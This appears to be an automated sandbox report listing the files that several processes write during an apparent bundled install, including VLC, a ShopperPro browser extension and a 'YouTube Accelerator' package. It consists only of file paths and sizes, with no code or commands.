%Program Files% (x86)\VideoLAN\VLC\locale\ne\LC_MESSAGES\vlc.mo (12536 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\librawvid_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libchain_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\libvlc.lib (7192 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_stream.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_art_finder.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libtta_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libcaca_plugin.dll (26688 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_network.h (10 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_mtime.h (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\white_cross_small.png (96 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\equalizer_window.html (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libx264_plugin.dll (34365 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\delete_small.png (94 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libpostproc_plugin.dll (5520 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_cpu.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libtrivial_channel_mixer_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\lv\LC_MESSAGES\vlc.mo (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_keys.h (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdC62D.tmp\InstallOptions.dll (804 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\my\LC_MESSAGES\vlc.mo (444 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libcdg_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libadpcm_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ru\LC_MESSAGES\vlc.mo (25824 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\hr\LC_MESSAGES\vlc.mo (20624 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\pt_BR\LC_MESSAGES\vlc.mo (20624 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_file_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_mixer\libfloat32_mixer_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libbluescreen_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\lelombrik.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\Documentation.url (55 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmkv_plugin.dll (34186 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_ffffff_256x240.png (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_vc1_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libantiflicker_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\librtp_plugin.dll (16288 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\vi\LC_MESSAGES\vlc.mo (6584 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN\Release Notes.lnk (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libyuy2_i420_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libh264_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\browse_window.html (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_block.h (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\skins\fonts\FreeSans.ttf (9320 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdC62D.tmp\ioSpecial.ini (10381 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\next.png (101 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_09.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libgme_plugin.dll (15168 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\lt\LC_MESSAGES\vlc.mo (12536 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc.h (15 bytes)
C:\Users\Public\Desktop\VLC media player.lnk (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ar\LC_MESSAGES\vlc.mo (11344 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\liboldrc_plugin.dll (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\http.luac (13 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_epg.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libgrey_yuv_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_es.h (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\fullscreen.png (121 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\librotate_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libgaussianblur_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_glass_65_ffffff_1x400.png (95 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ckb\LC_MESSAGES\vlc.mo (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\kmr\LC_MESSAGES\vlc.mo (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libfaad_plugin.dll (13584 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\gl\LC_MESSAGES\vlc.mo (20624 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ko\LC_MESSAGES\vlc.mo (12024 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\snapshot.png (206 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_vout.h (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_acl.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_rar_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_mpjpeg_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\id\LC_MESSAGES\vlc.mo (12536 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_access.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\COPYING.txt (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_raop_plugin.dll (15536 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libt140_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\cgg\LC_MESSAGES\vlc.mo (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\sd.png (116 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_livehttp_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libmemcpy_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\slider_point.png (111 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libvmem_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libdirect3d_plugin.dll (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\New_Skins.url (64 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\notify\libmsn_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_gloss-wave_35_f6a828_500x100.png (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\pause.png (82 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\vimeo.luac (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_media_player.h (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\.hosts (289 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libscale_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ta\LC_MESSAGES\vlc.mo (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\stream_config_window.html (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_copy_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libgradfun_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ro\LC_MESSAGES\vlc.mo (12024 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libi422_i420_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\meta\art\00_musicbrainz.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libdemuxdump_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\npvlc.dll.manifest (294 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmagnify_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\uk\LC_MESSAGES\vlc.mo (25824 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_flac_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_filter.h (14 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\fi\LC_MESSAGES\vlc.mo (20416 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\shuffle.png (110 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\liba52_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libvoc_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\sd\metachannels.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\Audio-48.png (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\slider_bar.png (86 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\youtube_homepage.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libdtstofloat32_plugin.dll (8184 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libscreen_plugin.dll (2392 bytes)

The process ShopperPro.exe:4004 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\config.json (487 bytes)
C:\ProgramData\ShopperPro\ShopperPro.dll (2321 bytes)
%Program Files% (x86)\ShopperPro\config.json (1254 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.exe (291 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1.42.0.1766\config.json (767 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.ini (514 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\config.json (487 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\database1_0_0.json (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\install.rdf (828 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1.42.0.1766\jsdrv.exe (22786 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\overlay.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\overlay.xul (203 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1.42.0.1766\jsdrv.sys (52 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.json (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\shopperpro_128.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\chrome.manifest (113 bytes)
C:\ProgramData\ShopperPro\database1_0_0.ej (14 bytes)
C:\ProgramData\ShopperPro\ShopperPro64.dll (3361 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1.42.0.1766\database1_0_0.ej (14 bytes)

The process GLBC522.tmp:2348 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YouTube Accelerator\~GLH000e.TMP (11493 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH001a.TMP (13284 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\blank.html (75 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000d.TMP (7861 bytes)
C:\Users\"%CurrentUserName%"\Desktop\YouTube Accelerator.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VADEU.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0006.TMP (115350 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\updater.exe (14357 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0019.TMP (11019 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAENG.LNG (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAuninstall.mht (9 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0011.TMP (34 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH001f.TMP (2461 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAIDN.LNG (17 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAPOL.LNG (1166 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAROM.LNG (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\sporder.Dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0001.TMP (2104 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\testlsp.exe (19739 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHelperSetup.exe (27818 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0004.TMP (16 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0009.TMP (2104 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\xmldb.dll (3048 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0016.TMP (6341 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0003.TMP (119 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0010.TMP (610 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\OK.gif (329 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0008.TMP (2784 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000c.TMP (941 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VATRK.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLFCDCF.tmp (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAITA.LNG (1660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAPTB.LNG (401 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0002.TMP (2104 bytes)
%Program Files% (x86)\YouTube Accelerator\temp.000 (51331 bytes)
%Program Files% (x86)\YouTube Accelerator\UNWISE.EXE (155 bytes)
%Program Files% (x86)\YouTube Accelerator\res\~GLH0014.TMP (75 bytes)
%Program Files% (x86)\YouTube Accelerator\YouTubeAcceleratorService.exe (49 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VASRB.LNG (1184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst2.exe (30222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAPOL.LNG (1166 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VASRB.LNG (1184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAESM.LNG (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytalsp.dll (3271 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFRA.LNG (402 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAccelerator.exe (35420 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFRA.LNG (402 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ipc.dll (6691 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000f.TMP (329 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VANLD.LNG (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0007.TMP (1568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFIL.LNG (351 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst.exe (20746 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\engine.dll (34861 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Res.dll (7687 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000a.TMP (18940 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHUninstall.exe (3528 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAcceleratorService.exe (20848 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAITA.LNG (1660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAJPN.LNG (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLKC7A4.tmp (1604 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0005.TMP (65 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LangPackU.cab (45 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLJC5A0.tmp (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VADEU.LNG (18 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0012.TMP (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\helper.dll (4155 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\varemove_page2.mht (1961 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAESM.LNG (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAIDN.LNG (17 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLGCDCE.tmp (93268 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0015.TMP (4061 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0000.TMP (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\AniGIF.ocx (3175 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\varemove_page1.mht (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Cancel.gif (610 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLCC580.tmp (3791 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAJPN.LNG (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VANLD.LNG (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\unelevate.exe (2082 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\cabex.dll (98 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YouTube Accelerator\YouTube Accelerator.lnk (1 bytes)
%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe (146 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VATRK.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFAR.LNG (15 bytes)
C:\Windows\SysWOW64\temp.000 (3624 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000b.TMP (11493 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YouTube Accelerator\~GLH0021.TMP (65 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAROM.LNG (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFIL.LNG (351 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\comtest.gif (1817 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLMC9B7.tmp (12 bytes)
%Program Files% (x86)\YouTube Accelerator\INSTALL.LOG (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAENG.LNG (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFAR.LNG (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAPTB.LNG (401 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\progbar.gif (238 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0020.TMP (1568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytauninstall.exe (10592 bytes)

The process WebPlayer.exe:2420 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\e54e8c720dffffa619c3b0eacec9381a[1].png (3040 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\13ca8e322e15bc394d66a37bec12e3b4[1].png (31136 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\lightbox[1].js (5015 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\b85261679e262228a562f693b3e6ef6f[1].png (29424 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\jquery-ui.min[1].js (140660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\WL05NYOX.txt (91 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\4.0stars[1].jpg (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\f3ad8b396434c21b4c214fd667ee391d[1].png (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\13a052a6d8c62b7831aa10e2f6f37454[1].jpg (200 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\f1ed3cd0cae7a3524376e6f9369c7ab8[1].png (5984 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\home[1].htm (2911 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\d586df222f5069b6c396373d67d0163b[1].png (28331 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\0692c2494a7331a77c05954f79c5480a[1].png (8455 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\a6ae526a0a22dcfc743a66d44a3e09e3[1].png (31554 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\58d196b3e886a838d021adc8c8848f1e[1].png (1997 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\3.0stars[1].jpg (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\close[1].png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\3YEwT2a1878zysq92S8_9w[1].eot (1831 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\00c73f6d4e4eb25289dddb86e2d1e319[1].jpg (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\b147a5a09b49b133d347bd975a4c5616[1].png (1160 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\btn_bg[1].jpg (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\ac5196fbf245580eee113296dff14d0b[1].png (10795 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\ddb3b88cf98eb0220c9e6c252e376749[1].png (14587 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\1759703220576e41cab39feb18a11b14[1].png (12363 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\analytics[1].js (16603 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\52d5414e7372639389ab7e9e4d479aee[1].png (25015 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\59982d8527c0da41e35817e8fc15c0fc[1].png (4648 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\b43daeae6aca6ab7d6a00084494d81db[1].png (15228 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\7c9d412c730603d1d82b98a548a71bac[1].png (9309 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\jquery.min[1].js (52734 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\lightbox[1].css (426 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\1f8ffa22b53dfc2f6b7f1850bb6b73e8[1].png (11113 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\scripts[1].js (25 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\567f43cb72fe3ac6419369953394cadd[1].png (47869 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\4.5stars[1].jpg (2 bytes)
